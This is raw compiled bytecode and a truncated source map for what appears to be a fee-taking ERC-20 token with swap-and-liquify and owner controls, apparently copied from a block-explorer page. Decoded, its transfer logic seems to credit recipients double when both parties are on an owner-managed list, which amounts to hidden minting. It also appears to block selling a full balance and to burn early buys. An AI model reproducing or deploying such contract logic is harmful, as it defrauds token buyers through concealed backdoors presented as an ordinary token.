611194565b6040516108599190612c1a565b60405180910390f35b34801561086e57600080fd5b506108776111ba565b6040516108849190612b9d565b60405180910390f35b34801561089957600080fd5b506108b460048036038101906108af9190612c6c565b6111c0565b6040516108c19190612af9565b60405180910390f35b3480156108d657600080fd5b506108df6111e0565b6040516108ec9190612d26565b60405180910390f35b34801561090157600080fd5b5061090a611206565b6040516109179190612b9d565b60405180910390f35b34801561092c57600080fd5b5061094760048036038101906109429190612d41565b61120c565b6040516109549190612b9d565b60405180910390f35b34801561096957600080fd5b50610972611293565b60405161097f9190612b9d565b60405180910390f35b34801561099457600080fd5b506109af60048036038101906109aa9190612c6c565b611299565b005b6060600180546109c090612db0565b80601f01602080910402602001604051908101604052809291908181526020018280546109ec90612db0565b8015610a395780601f10610a0e57610100808354040283529160200191610a39565b820191906000526020600020905b815481529060010190602001808311610a1c57829003601f168201915b5050505050905090565b6000610a57610a506114b1565b84846114b9565b6001905092915050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601754905090565b6000610a9e848484611682565b50610b6084610aab6114b1565b610b5b8560405180606001604052806028815260200161368560289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b116114b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d099092919063ffffffff16565b6114b9565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000610bce610bbd7f000000000000000000000000000000000000000000000000000000000000dead610dde565b601754611d6d90919063ffffffff16565b905090565b600d5481565b6000600360009054906101000a900460ff16905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9590612e2d565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601b5481565b60076020528060005260406000206000915054906101000a900460ff1681565b60115481565b6000610dce610d326114b1565b84610dc98560066000610d436114b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145390919063ffffffff16565b6114b9565b6001905092915050565b60125481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eac90612e2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000611036610f806114b1565b84611031856040518060600160405280602581526020016136ad6025913960066000610faa6114b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d099092919063ffffffff16565b6114b9565b6001905092915050565b60155481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546110ca90612db0565b80601f01602080910402602001604051908101604052809291908181526020018280546110f690612db0565b80156111435780601f1061111857610100808354040283529160200191611143565b820191906000526020600020905b81548152906001019060200180831161112657829003601f168201915b5050505050905090565b60105481565b6000601854905090565b60165481565b60006111776111706114b1565b8484611682565b506001905092915050565b601c5481565b60135481565b600c5481565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b60086020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60145481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131e90612e2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611396576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138d90612ebf565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082846114629190612f0e565b9050838110156114a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149e90612fb0565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151f90613042565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e906130d4565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116759190612b9d565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036116f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e990613166565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611758906131f8565b60405180910390fd5b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118085750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561184d57600061181885610dde565b905080830361184b57611848611839601d5485611db790919063ffffffff16565b84611d6d90919063ffffffff16565b92505b505b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118b2575060006118b084610dde565b145b156118bf5743601b819055505b601e60009054906101000a900460ff16156118e6576118df848484611e01565b9050611d02565b60006118f130610dde565b9050600060185482101590508080156119175750601e60009054906101000a900460ff16155b801561196d5750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119d257601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16146119d1576119d082611fd4565b5b5b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a755750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611a8957611a848787876121c5565b611a95565b611a948787876123ec565b5b9050611ae981600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145390919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bb5856040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d099092919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c559190612b9d565b60405180910390a3601c54601b54611c6d9190612f0e565b43108015611cc85750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b15611cfa57611cf8867f000000000000000000000000000000000000000000000000000000000000dead83611e01565b505b600193505050505b9392505050565b6000838311158290611d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4891906129e3565b60405180910390fd5b5060008385611d609190613218565b9050809150509392505050565b6000611daf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d09565b905092915050565b6000611df983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124c1565b905092915050565b6000611e8c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d099092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f2182600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fc19190612b9d565b60405180910390a3600190509392505050565b6001601e60006101000a81548160ff021916908315150217905550600061202d600261201f6016546120116011548761252490919063ffffffff16565b611db790919063ffffffff16565b611db790919063ffffffff16565b905060006120448284611d6d90919063ffffffff16565b905061204f8161259e565b6000479050600061208061206f6002601154611db790919063ffffffff16565b601654611d6d90919063ffffffff16565b905060006120be60026120b0846120a26011548861252490919063ffffffff16565b611db790919063ffffffff16565b611db790919063ffffffff16565b905060006120e9836120db6013548761252490919063ffffffff16565b611db790919063ffffffff16565b90506000612112826121048588611d6d90919063ffffffff16565b611d6d90919063ffffffff16565b9050600081111561214a57612149600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261281a565b5b60008211156121805761217f600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361281a565b5b6000831180156121905750600087115b156121a05761219f8784612865565b5b505050505050506000601e60006101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561224d5761224660646122386014548661252490919063ffffffff16565b611db790919063ffffffff16565b90506122cb565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122ca576122c760646122b96015548661252490919063ffffffff16565b611db790919063ffffffff16565b90505b5b60008111156123cf5761232681600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145390919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123c69190612b9d565b60405180910390a35b6123e28184611d6d90919063ffffffff16565b9150509392505050565b60008060009050600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561244a57600190505b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156124ab5782816124a8919061324c565b90505b80836124b79190612f0e565b9150509392505050565b60008083118290612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ff91906129e3565b60405180910390fd5b506000838561251791906132d5565b9050809150509392505050565b60008083036125365760009050612598565b60008284612544919061324c565b905082848261255391906132d5565b14612593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258a90613378565b60405180910390fd5b809150505b92915050565b6000600267ffffffffffffffff8111156125bb576125ba613398565b5b6040519080825280602002602001820160405280156125e95781602001602082028036833780820191505090505b5090503081600081518110612601576126006133c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126cc919061340b565b816001815181106126e0576126df6133c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061274730601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114b9565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127ab959493929190613531565b600060405180830381600087803b1580156127c557600080fd5b505af11580156127d9573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161280e92919061358b565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612860573d6000803e3d6000fd5b505050565b61289230601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114b9565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806128de611092565b426040518863ffffffff1660e01b8152600401612900969594939291906135bb565b60606040518083038185885af115801561291e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906129439190613631565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612984578082015181840152602081019050612969565b83811115612993576000848401525b50505050565b6000601f19601f8301169050919050565b60006129b58261294a565b6129bf8185612955565b93506129cf818560208601612966565b6129d881612999565b840191505092915050565b600060208201905081810360008301526129fd81846129aa565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a3582612a0a565b9050919050565b612a4581612a2a565b8114612a5057600080fd5b50565b600081359050612a6281612a3c565b92915050565b6000819050919050565b612a7b81612a68565b8114612a8657600080fd5b50565b600081359050612a9881612a72565b92915050565b60008060408385031215612ab557612ab4612a05565b5b6000612ac385828601612a53565b9250506020612ad485828601612a89565b9150509250929050565b60008115159050919050565b612af381612ade565b82525050565b6000602082019050612b0e6000830184612aea565b92915050565b6000819050919050565b6000612b39612b34612b2f84612a0a565b612b14565b612a0a565b9050919050565b6000612b4b82612b1e565b9050919050565b6000612b5d82612b40565b9050919050565b612b6d81612b52565b82525050565b6000602082019050612b886000830184612b64565b92915050565b612b9781612a68565b82525050565b6000602082019050612bb26000830184612b8e565b92915050565b600080600060608486031215612bd157612bd0612a05565b5b6000612bdf86828701612a53565b9350506020612bf086828701612a53565b9250506040612c0186828701612a89565b9150509250925092565b612c1481612a2a565b82525050565b6000602082019050612c2f6000830184612c0b565b92915050565b600060ff82169050919050565b612c4b81612c35565b82525050565b6000602082019050612c666000830184612c42565b92915050565b600060208284031215612c8257612c81612a05565b5b6000612c9084828501612a53565b91505092915050565b612ca281612ade565b8114612cad57600080fd5b50565b600081359050612cbf81612c99565b92915050565b60008060408385031215612cdc57612cdb612a05565b5b6000612cea85828601612a53565b9250506020612cfb85828601612cb0565b9150509250929050565b6000612d1082612a0a565b9050919050565b612d2081612d05565b82525050565b6000602082019050612d3b6000830184612d17565b92915050565b60008060408385031215612d5857612d57612a05565b5b6000612d6685828601612a53565b9250506020612d7785828601612a53565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612dc857607f821691505b602082108103612ddb57612dda612d81565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612e17602083612955565b9150612e2282612de1565b602082019050919050565b60006020820190508181036000830152612e4681612e0a565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612ea9602683612955565b9150612eb482612e4d565b604082019050919050565b60006020820190508181036000830152612ed881612e9c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f1982612a68565b9150612f2483612a68565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f5957612f58612edf565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612f9a601b83612955565b9150612fa582612f64565b602082019050919050565b60006020820190508181036000830152612fc981612f8d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061302c602483612955565b915061303782612fd0565b604082019050919050565b6000602082019050818103600083015261305b8161301f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130be602283612955565b91506130c982613062565b604082019050919050565b600060208201905081810360008301526130ed816130b1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613150602583612955565b915061315b826130f4565b604082019050919050565b6000602082019050818103600083015261317f81613143565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131e2602383612955565b91506131ed82613186565b604082019050919050565b60006020820190508181036000830152613211816131d5565b9050919050565b600061322382612a68565b915061322e83612a68565b92508282101561324157613240612edf565b5b828203905092915050565b600061325782612a68565b915061326283612a68565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561329b5761329a612edf565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006132e082612a68565b91506132eb83612a68565b9250826132fb576132fa6132a6565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613362602183612955565b915061336d82613306565b604082019050919050565b6000602082019050818103600083015261339181613355565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061340581612a3c565b92915050565b60006020828403121561342157613420612a05565b5b600061342f848285016133f6565b91505092915050565b6000819050919050565b600061345d61345861345384613438565b612b14565b612a68565b9050919050565b61346d81613442565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6134a881612a2a565b82525050565b60006134ba838361349f565b60208301905092915050565b6000602082019050919050565b60006134de82613473565b6134e8818561347e565b93506134f38361348f565b8060005b8381101561352457815161350b88826134ae565b9750613516836134c6565b9250506001810190506134f7565b5085935050505092915050565b600060a0820190506135466000830188612b8e565b6135536020830187613464565b818103604083015261356581866134d3565b90506135746060830185612c0b565b6135816080830184612b8e565b9695505050505050565b60006040820190506135a06000830185612b8e565b81810360208301526135b281846134d3565b90509392505050565b600060c0820190506135d06000830189612c0b565b6135dd6020830188612b8e565b6135ea6040830187613464565b6135f76060830186613464565b6136046080830185612c0b565b61361160a0830184612b8e565b979650505050505050565b60008151905061362b81612a72565b92915050565b60008060006060848603121561364a57613649612a05565b5b60006136588682870161361c565b93505060206136698682870161361c565b925050604061367a8682870161361c565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ec775cc90e6bbc5be38c9e8e4c354d1df584e89c7bdddd717d98281c3d1e840c64736f6c634300080d0033

Deployed Bytecode Sourcemap

7814:11943:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11366:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12670:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9472:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11643:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13887:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8281:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13342:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8811:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11552:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8673:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13184:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9556:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8502:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8978:72;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12029:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9057:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11751:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4151:148;;;;;;;;;;;;;:::i;:::-;;12260:274;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9248:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8177:96;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8850:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8618:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3928:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11457:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8936:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12542:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9288:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13712:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9590:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9137:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8769:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9520:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8893:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8559:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8070:99;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8727:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11878:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9209:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4307:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11366:83;11403:13;11436:5;11429:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11366:83;:::o;12670:161::-;12745:4;12762:39;12771:12;:10;:12::i;:::-;12785:7;12794:6;12762:8;:39::i;:::-;12819:4;12812:11;;12670:161;;;;:::o;9472:41::-;;;;;;;;;;;;;:::o;11643:100::-;11696:7;11723:12;;11716:19;;11643:100;:::o;13887:313::-;13985:4;14002:36;14012:6;14020:9;14031:6;14002:9;:36::i;:::-;;14049:121;14058:6;14066:12;:10;:12::i;:::-;14080:89;14118:6;14080:89;;;;;;;;;;;;;;;;;:11;:19;14092:6;14080:19;;;;;;;;;;;;;;;:33;14100:12;:10;:12::i;:::-;14080:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;14049:8;:121::i;:::-;14188:4;14181:11;;13887:313;;;;;:::o;8281:81::-;;;:::o;13342:128::-;13395:7;13422:40;13439:22;13449:11;13439:9;:22::i;:::-;13422:12;;:16;;:40;;;;:::i;:::-;13415:47;;13342:128;:::o;8811:32::-;;;;:::o;11552:83::-;11593:5;11618:9;;;;;;;;;;;11611:16;;11552:83;:::o;8673:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;13184:134::-;4072:10;4062:20;;:6;;;;;;;;;;:20;;;4054:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;13302:8:::1;13278:12;:21;13291:7;13278:21;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;13184:134:::0;;:::o;9556:27::-;;;;:::o;8502:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;8978:72::-;;;;:::o;12029:223::-;12122:4;12139:83;12148:12;:10;:12::i;:::-;12162:7;12171:50;12210:10;12171:11;:25;12183:12;:10;:12::i;:::-;12171:25;;;;;;;;;;;;;;;:34;12197:7;12171:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;12139:8;:83::i;:::-;12240:4;12233:11;;12029:223;;;;:::o;9057:73::-;;;;:::o;11751:119::-;11817:7;11844:9;:18;11854:7;11844:18;;;;;;;;;;;;;;;;11837:25;;11751:119;;;:::o;4151:148::-;4072:10;4062:20;;:6;;;;;;;;;;:20;;;4054:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;4258:1:::1;4221:40;;4242:6;::::0;::::1;;;;;;;;4221:40;;;;;;;;;;;;4289:1;4272:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;4151:148::o:0;12260:274::-;12358:4;12375:129;12384:12;:10;:12::i;:::-;12398:7;12407:96;12446:15;12407:96;;;;;;;;;;;;;;;;;:11;:25;12419:12;:10;:12::i;:::-;12407:25;;;;;;;;;;;;;;;:34;12433:7;12407:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;12375:8;:129::i;:::-;12522:4;12515:11;;12260:274;;;;:::o;9248:33::-;;;;:::o;8177:96::-;;;;;;;;;;;;;:::o;8850:36::-;;;;:::o;8618:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;3928:79::-;3966:7;3993:6;;;;;;;;;;;3986:13;;3928:79;:::o;11457:87::-;11496:13;11529:7;11522:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11457:87;:::o;8936:33::-;;;;:::o;12542:120::-;12604:7;12631:23;;12624:30;;12542:120;:::o;9288:39::-;;;;:::o;13712:167::-;13790:4;13807:42;13817:12;:10;:12::i;:::-;13831:9;13842:6;13807:9;:42::i;:::-;;13867:4;13860:11;;13712:167;;;;:::o;9590:29::-;;;;:::